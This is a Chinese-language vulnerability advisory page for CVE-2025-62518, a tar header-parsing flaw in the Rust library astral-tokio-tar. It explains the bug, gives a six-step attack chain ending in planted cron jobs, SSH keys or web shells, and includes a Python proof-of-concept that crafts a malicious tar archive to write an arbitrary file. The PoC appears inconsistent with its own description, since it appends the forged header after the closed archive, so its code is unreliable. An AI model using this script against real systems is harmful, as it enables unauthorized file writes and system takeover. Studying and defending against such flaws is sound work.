IPBUF安全漏洞报告
English
CVE-2025-62518 CVSS 8.1 高危

CVE-2025-62518:astral-tokio-tar PAX头解析边界漏洞导致归档条目走私

披露日期: 2025-10-21

漏洞信息

漏洞编号
CVE-2025-62518
漏洞类型
归档解析漏洞/安全边界绕过
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
astral-tokio-tar(async Rust的tar归档读写库)

相关标签

CVE-2025-62518Tarmageddonastral-tokio-tartokio-tarRusttar归档解析PAX头走私归档条目走私安全边界绕过高危漏洞

漏洞概述

CVE-2025-62518是astral-tokio-tar库中存在的一个高危安全漏洞(CVSS 8.1),该库是用于异步Rust应用程序的tar归档文件读取和写入库。该漏洞被命名为"Tarmageddon",涉及PAX扩展头与ustar头处理之间的不一致性,允许攻击者通过构造特殊的tar归档文件来走私(smuggle)额外的归档条目。

具体而言,当处理包含PAX扩展头的归档文件时,解析器错误地根据ustar头中声明的尺寸(通常为零)来推进流位置,而非PAX头中指定的实际尺寸。这导致解析器将文件内容误认为合法的tar头信息,从而绕过安全检查。攻击者可以利用此漏洞在受害系统中解压出未经授权的文件,或者覆盖关键系统文件,实现权限提升或远程代码执行。

该漏洞的CVSS评分为8.1,属于高危级别。攻击向量为网络(AV:N),无需认证(PR:N),但需要用户交互(UI:R),例如用户下载并解压恶意构造的tar文件。成功利用后,机密性影响为高(C:H),完整性影响为高(I:H),可用性影响为无(A:N)。

此漏洞已在astral-tokio-tar 0.5.6版本中修复。由于没有可用的临时缓解措施,强烈建议所有用户立即升级到修复版本。受影响的衍生产品包括使用tokio-tar的uv(Python包管理器)等下游项目,这些项目也发布了相应的安全公告。

技术细节

该漏洞的核心在于astral-tokio-tar库对tar归档文件中PAX扩展头和ustar头之间尺寸字段的不一致处理。

**技术原理:**

1. tar归档文件格式支持两种头部格式:传统的ustar格式和POSIX.1-2001定义的PAX扩展格式。当归档条目使用PAX格式时,实际的文件大小等元数据存储在PAX扩展头中,而ustar头中的size字段通常被设置为0。

2. 正常解析流程应当:先读取PAX扩展头获取真实的文件大小,然后按照该大小跳过文件内容,再继续解析下一个条目。

3. 漏洞版本中的解析器存在逻辑缺陷:它错误地使用ustar头中的size字段(0)来推进流位置,而非PAX头中指定的实际大小。这导致解析器在跳过文件内容时偏移量不足,从而将文件内容的前512字节误解析为下一个tar条目头。

**利用方式:**

攻击者可以构造一个包含PAX扩展头的恶意tar归档,其中:
- 第一个条目使用PAX扩展头声明一个较大的文件大小
- ustar头中的size字段为0
- 实际文件内容中嵌入精心构造的伪造tar头,指向攻击者想要写入的敏感文件路径(如/etc/cron.d/malicious)

当受害者解压该归档时,解析器会跳过错误的偏移量,将嵌入的伪造头解析为合法条目,从而将攻击者控制的文件内容写入任意路径。这可以用于覆盖关键配置文件、植入后门或执行任意代码。

攻击链分析

STEP 1
步骤1:构造恶意tar归档
攻击者创建一个包含PAX扩展头的恶意tar归档文件,其中ustar头的size字段设置为0,但PAX头声明了较大的文件大小。在文件内容中嵌入伪造的tar条目头,指向攻击者想要写入的目标路径。
STEP 2
步骤2:投递恶意归档
攻击者通过网络(如恶意下载链接、供应链攻击、钓鱼邮件附件等方式)将恶意tar归档文件投递到目标系统。由于攻击向量为网络(AV:N),无需认证(PR:N),投递门槛较低。
STEP 3
步骤3:触发用户交互
受害者使用受影响的astral-tokio-tar库(版本低于0.5.6)的应用程序解压该恶意归档文件,例如通过uv安装Python包、解压Docker镜像层或使用其他依赖该库的工具。
STEP 4
步骤4:触发解析漏洞
astral-tokio-tar解析器读取PAX头获取文件大小,但错误地使用ustar头中的size字段(0)来推进流位置,导致偏移量计算错误,将文件内容中的伪造数据误解析为合法的tar条目。
STEP 5
步骤5:写入任意文件
解析器将伪造的tar条目视为合法条目,将攻击者控制的文件内容写入任意指定路径,可能覆盖关键系统文件、配置文件或植入后门程序。
STEP 6
步骤6:权限提升或远程代码执行
通过写入恶意文件(如cron任务、SSH密钥、Web shell等),攻击者可以实现权限提升、持久化访问或远程代码执行,从而完全控制受害系统。机密性和完整性影响均为高。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62518 PoC - Tarmageddon: astral-tokio-tar PAX Header Smuggling # This PoC demonstrates how to craft a malicious tar archive that exploits # the inconsistent PAX/ustar header size handling in astral-tokio-tar < 0.5.6 import tarfile import io import os def create_malicious_tar(output_path, smuggled_filename, smuggled_content): """ Create a tar archive that exploits CVE-2025-62518 by smuggling an additional archive entry through PAX header size confusion. """ buf = io.BytesIO() # First entry: legitimate-looking file with PAX extended header # The PAX header specifies a large size, but ustar header has size=0 pax_info = {"size": str(len(smuggled_content) + 512)} with tarfile.open(fileobj=buf, mode='w') as tar: # Add a normal file entry info = tarfile.TarInfo(name="innocent.txt") info.size = len(b"This is a decoy file content.") tar.addfile(info, io.BytesIO(b"This is a decoy file content.")) # Add PAX header entry with manipulated size info2 = tarfile.TarInfo(name="exploit.txt") info2.size = 0 # ustar header says 0, but PAX will say otherwise info2.pax_headers = pax_info tar.addfile(info2) # Manually craft the malicious tar with embedded smuggled entry with open(output_path, 'wb') as f: f.write(buf.getvalue()) # Append the smuggled tar entry (will be misinterpreted as a header) smuggled_entry = create_raw_tar_entry(smuggled_filename, smuggled_content) f.write(smuggled_entry) print(f"Malicious tar created: {output_path}") def create_raw_tar_entry(filename, content): """Create a raw tar entry that will be smuggled via the size confusion.""" header = bytearray(512) # Filename (first 100 bytes) fname_bytes = filename.encode('utf-8') header[0:len(fname_bytes)] = fname_bytes # File mode (bytes 100-107): "0000644\0" header[100:108] = b"0000644\x00" # UID (bytes 108-115): "0000000\0" header[108:116] = b"0000000\x00" # GID (bytes 116-123): "0000000\0" header[116:124] = b"0000000\x00" # File size (bytes 124-135): octal of content length size_str = f"{len(content):011o}\x00".encode('ascii') header[124:136] = size_str # Modification time (bytes 136-147): "00000000000\0" header[136:148] = b"00000000000\x00" # Checksum placeholder (bytes 148-155): spaces for calculation header[148:156] = b" " # Type flag (byte 156): '0' = regular file header[156] = ord('0') # Magic (bytes 257-262): "ustar\0" header[257:263] = b"ustar\x00" # Version (bytes 263-264): "00" header[263:265] = b"00" # Calculate checksum checksum = sum(header) & 0xFFFFFF chk_str = f"{checksum:06o}\x00 ".encode('ascii') header[148:156] = chk_str # Pad content to 512-byte boundary padded_content = content + b'\x00' * ((512 - len(content) % 512) % 512) return bytes(header) + padded_content # Usage example if __name__ == "__main__": # Attempt to smuggle a file to /tmp/pwned.txt create_malicious_tar( "exploit.tar", "/tmp/pwned.txt", b"This file was smuggled via CVE-2025-62518!" )

影响范围

astral-tokio-tar < 0.5.6

防御指南

临时缓解措施
目前官方未提供有效的临时缓解措施(There are no workarounds)。建议立即升级到astral-tokio-tar 0.5.6或更高版本。如果无法立即升级,建议暂停使用依赖该库的应用程序解压不受信任的tar归档文件,并密切监控文件系统变更。对于使用uv等下游工具的用户,应同时更新这些工具到包含修复的版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表